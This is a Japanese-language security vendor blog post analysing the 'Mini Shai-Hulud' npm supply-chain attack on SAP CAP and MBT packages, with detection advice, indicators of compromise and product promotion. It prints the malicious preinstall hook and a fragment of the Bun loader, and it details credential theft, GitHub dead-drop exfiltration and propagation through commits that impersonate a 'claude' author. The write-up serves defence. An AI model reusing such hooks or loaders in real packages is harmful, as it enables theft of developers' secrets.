Aikido

Mini Shai-Hulud、パンを装った秘密情報窃取ツールでSAPのnpmパッケージを標的に

執筆者
Raphael Silva

SAPの開発者エコシステムを標的とした、新たなnpmサプライチェーン攻撃が発生している。

現時点で追跡している影響を受けるパッケージは以下の通りです:

  • @cap-js/sqlite - v2.2.2
  • @cap-js/postgres - v2.2.2
  • @cap-js/db-service - v2.10.1
  • mbt@1.2.48

このパターンは見慣れたものですが、少し異なります。信頼できるパッケージが新しい preinstall フック、フックは新しい setup.mjs ファイル、そしてそのローダーはBun JavaScriptランタイムをダウンロードし、 execution.js.

このペイロードは、11.7 MBの認証情報窃取および拡散フレームワークです。ローカルの開発者認証情報、GitHubおよびnpmのトークン、GitHubシークレット、ならびにAWS、Azure、GCP、シークレット 収集します。その後、暗号化された結果をパブリックなGitHubリポジトリを通じて外部へ流出させます。

このマルウェアは、これらのリポジトリにハードコードされた説明を付けています:

ミニ・シャイ・フルードが現れた

何が起きたのか

この改ざんされたパッケージは、npmのライフサイクル機能を利用しています。これまでの調査では、 package.json 以下を追加するために修正されました:

"scripts": {
    "preinstall": "node setup.mjs"
}

つまり、悪意のあるコードは実行中に自動的に実行されるということです npm installインストールが完了する前から。

この悪意のあるパッケージは、2つのファイルを追加します:

  • setup.mjs
  • execution.js

通常のパッケージコードは、依然として正規のSAPパッケージのように見えます。 @cap-js/sqlite@2.2.2 サンプルでは、通常のファイルはクリーンに一致する @cap-js/sqlite@2.2.1 バイト単位で。妥協案は、インストールフックに加え、ペイロードファイルを追加するというものです。

想定される侵入経路

ある公開された手がかりから、考えられる原因が浮上しています。それは、CircleCIを介したプルリクエストのビルドにおいて、npmトークンが露出していたことです。

それは、私たちが SAP/クラウドMTAビルドツール4月29日、ある 短期間のドラフトPR 『~』 feat: ci speedup ~から開かれた gruposbftechrecruiter/harkonnen-navigator-149. そのPRは数分以内にクローズされ、その後ブランチが強制プッシュされたため、現在のGitHubの差分には何も表示されなくなりました。

CircleCI 重要な部分は残した。PRビルド上の pull/1223 コミットを確認しました a959014aa7b7fc37a9b5730c951776e7db2920a6、これにバンローダーが追加され、 bin/config.mjs、に難読化されたペイロードを追加した bin/mbt.js、そしてテストコマンドを次のように変更しました:

node ./bin/config.mjs && node ./bin/mbt

そのテストはPRジョブで実行され、CircleCIには以下を含む、一部が伏せられたプロジェクトシークレット記載されていました。 CLOUD_MTA_BOT_NPM_TOKEN, CLOUD_MTA_BOT_GITHUB_TOKEN、CircleCIのOIDCトークン、Docker Hubの認証情報、Cloud Foundryの認証情報、およびその他のリリース関連の変数。

ログには、Octokitに関する警告も表示されていました。 投稿apiこれは、マルウェアのGitHubからの情報流出の挙動と一致しています。

これにより、CircleCIのプルリクエストビルドが、最初の認証情報窃取の最大の容疑者となる。

マルウェアの実行方法

第一段階、 setup.mjsは、Bunのブートストラップツールです。OSとアーキテクチャを確認し、Bunをダウンロードします 1.3.13 必要に応じてGitHubから取得し、バイナリを解凍して、Bunを使用して実行する execution.js.

const BUN_VERSION = '1.3.13';
const ENTRY_SCRIPT = 'execution.js';
const url = `https://github.com/oven-sh/bun/releases/download/bun-v${BUN_VERSION}/${asset}.zip`;
execFileSync(binPath, [entryScriptPath], { stdio: 'inherit', cwd: SCRIPT_DIR });

第2段階、 execution.jsは、単一の大きな難読化されたペイロードです。これは、 ctf-scramble-v2、CI環境で実行されているかどうかを確認し、ロシア語のロケール設定が適用されている場合は終了し、CI以外のマシンではデーモン化されます。

それが奪うもの

このペイロードは、開発者のノートパソコンとCI/CD の両方を標的として設計されています。

以下を収集しようとします:

  • GitHubトークン(以下を含む) gh 認証トークン
  • npmトークン .npmrc
  • 環境変数
  • GitHub Actionsシークレット
  • AWS STS ID、シークレット シークレット、およびSSMパラメータ
  • Azure サブスクリプション、Key Vault の名前、および Key Vault のシークレット値
  • GCP プロジェクトの識別情報と Secret Manager の値
  • Kubernetes サービスアカウントのトークン
  • Claudeの設定ファイル、MCPの設定ファイル、GCPトークンデータベース、Azureトークンキャッシュ、Signalの設定ファイル、Electrumウォレット、およびVPN設定ファイル

GitHub Actions のパスについては特に懸念される。ペイロードには、検索を行う組み込みの Python ヘルパーが含まれており、 /proc ~のために ランナー・ワーカー プロセスは、そのメモリを読み取り、ランナーからマスクされた秘密構造を抽出します。

GitHub からの情報流出と拡散に関するキーワード

このマルウェアは、データ流出の経路としてGitHubを利用している。

新しい伝播キーワードは次のとおりです:

「GitHubに何が起きているんだ?」

このマルウェアは、GitHubのコミットからこの文字列を検索し、一致するコミットメッセージをトークンのデッドドロップとして利用します。一致するコミットメッセージは OhNoWhatsGoingOnWithGitHub:<base64> GitHubトークンに変換され、リポジトリへのアクセス権限が確認されます。

マルウェアがリポジトリを作成できる場合、ランダム化された「Dune」をテーマにした名前を使用し、リポジトリの説明を次のように設定します:

ミニ・シャイ・フルードが現れた

そして、暗号化された結果ファイルを以下の場所に書き込みます:

results/results-<timestamp>-<counter>.json

データはコミット前にAES-256-GCMを使用して圧縮および暗号化され、AESキーは埋め込まれたRSA公開鍵でラップされます。

伝播ロジック

このペイロードには、開発およびリリースワークフロー全体に展開するためのロジックが含まれています。

分析対象のサンプルにおいて、このマルウェアは、以下のGitHub Actionsのリリース自動化を確認します。 cap-js/cds-dbs. そのリポジトリのコンテキスト内にリリースワークフローが存在する場合、以下の方法でパッケージのtarballを変更できます:

  • 現在のペイロードを execution.js
  • 執筆 setup.mjs
  • 設定 scripts.preinstall = "node setup.mjs"
  • パッチバージョンのインクリメント
  • tarballの再パッケージ化

また、盗まれたGitHub Actionsトークンを使用して、リポジトリにファイルをプッシュしようと試みます:

  • .vscode/tasks.json
  • .vscode/setup.mjs
  • .claude/execution.js
  • .claude/setup.mjs
  • .claude/settings.json

それらのコミットでは、以下を使用しています:

タスク:依存関係更新

著者との対談:

claude <claude@users.noreply.github.com>

SAPを標的として

対象となるパッケージは、通常のSAP開発ワークフロー内に配置されています。 @cap-js/sqlite, @cap-js/postgres、および @cap-js/db-service はSAP CAPデータベース・エコシステムの一部であり、一方で MBT SAP Cloud MTAのビルドワークフロー周辺で使用されます。

そのため、このキャンペーンはパッケージ数は少ないものの、潜在的な影響力は大きいと言えます。これらのパッケージは、GitHub、npm、クラウドの認証情報、およびエンタープライズ環境のシークレットアクセス権を持つ開発者のマシンやCIランナー上で実行される可能性が高いです。

検知と緩和

ロックファイル、パッケージキャッシュ、CIログ、内部レジストリ、アーティファクトストア、および開発者マシンを検索し、以下の項目を探します:

  • @cap-js/sqlite - v2.2.2
  • @cap-js/postgres - v2.2.2
  • @cap-js/db-service - v2.10.1
  • mbt@1.2.48
  • setup.mjs
  • execution.js
  • preinstall 実行中のスクリプト node setup.mjs
  • パン 1.3.13 パッケージのインストール中のダウンロード

GitHubで検索:

  • 「」のコミット検索結果 「GitHubに何が起きているんだ?」: https://github.com/search?q=OhNoWhatsGoingOnWithGitHub&type=commits
  • 説明付きのレポジトリ ミニ・シャイ・フルードが現れた
  • 以下を含むコミット 「GitHubに何が起きているんだ?」
  • 「」というタイトルのコミット タスク:依存関係更新
  • 作成者: claude <claude@users.noreply.github.com>
  • 予期せぬ .claude/ または .vscode/setup.mjs ファイル
  • results/results-*.json 新しく作成されたパブリックリポジトリ内のファイル

影響を受けるパッケージがインストールされている場合は、シークレットローテーションしてください。ローテーションの対象をnpmトークンに限定しないでください。この攻撃は、GitHub、npm、クラウドプロバイダー、Kubernetes、シークレット、およびローカルの開発者向けツールを標的としています。

方法 Aikido これをどのように検知するか

もしあなたが Aikido ユーザーの方は、中央フィードを確認し、マルウェア関連の問題でフィルタリングしてください。これにより、100/100の重大な問題として表示されます。 Aikido は毎晩自動的に再スキャンを行いますが、今すぐ手動で再スキャンを実行することをお勧めします。

まだ会員でない場合は Aikido をご利用でない場合は、アカウントを作成してリポジトリを連携できます。マルウェア対策機能は無料プランに含まれており、クレジットカードは不要です。

チーム全体をより広くカバーするには、 Aikidoの「エンドポイント保護」は、チームのデバイスにインストールされたソフトウェアパッケージを可視化し、管理することを可能にします。ブラウザ拡張機能、コードライブラリ、IDEプラグイン、依存関係、すべてを一元管理できます。マルウェアがインストールされる前に阻止しましょう。

将来的なセキュリティ対策として、オープンソースの「Aikido Chain」の導入をご検討ください。Safe Chainは既存のワークフローに組み込まれ、npm、npx、yarn、pnpm、pnpxの各コマンドをインターセプトし、インストール前にAikido データベースと照合してパッケージを検証します。

侵害の痕跡

影響を受けるパッケージ:

  • @cap-js/sqlite - v2.2.2
  • @cap-js/postgres - v2.2.2
  • @cap-js/db-service - v2.10.1
  • mbt@1.2.48

分析対象のハッシュ @cap-js/sqlite@2.2.2 サンプル:

  • setup.mjs: 4066781fa830224c8bbcc3aa005a396657f9c8f9016f9a64ad44a9d7f5f45e34
  • execution.js: 6f933d00b7d05678eb43c90963a80b8947c4ae6830182f89df31da9f568fea95
  • 組み込み型GitHubランナー用メモリダンプツール: 29ac906c8bd801dfe1cb39596197df49f80fff2270b3e7fbab52278c24e4f1a7

文字列とマーカー:

  • ミニ・シャイ・フルードが現れた
  • 「GitHubに何が起きているんだ?」 (伝播キーワード / GitHub コミットのデッドドロップマーカー)
  • ctf-scramble-v2
  • tmp.987654321.lock
  • タスク:依存関係更新
  • claude@users.noreply.github.com

URLとエンドポイント:

  • hxxps://github[.]com/oven-sh/bun/releases/download/bun-v1.3.13/
  • hxxps://api.github[.]com/search/commits?q=OhNoWhatsGoingOnWithGitHub&sort=author-date&order=desc&per_page=50
  • hxxp://169.254.169.254
  • hxxp://169.254.170.2
  • hxxp://[fd00:ec2::254]

共有:

https://www.aikido.dev/blog/mini-shai-hulud-has-appeared

本日より無料で開始いただけます。

無料で始める
CC不要

脅威ニュースをサブスクライブ

4.7/5
誤検知にうんざりしていませんか?
10万人以上のユーザーと同様に Aikido をお試しください。
今すぐ始める
パーソナライズされたウォークスルーを受ける

10万以上のチームに信頼されています

今すぐ予約
アプリをスキャンして IDORs と実際の攻撃パスを検出します

10万以上のチームに信頼されています

スキャンを開始
AI がどのようにアプリをペンテストするかをご覧ください

10万以上のチームに信頼されています

テストを開始

今すぐ、安全な環境へ。

コード、クラウド、ランタイムを1つの中央システムでセキュアに。
脆弱性を迅速に発見し、自動的に修正。

クレジットカードは不要です。 | スキャン結果は32秒で表示されます。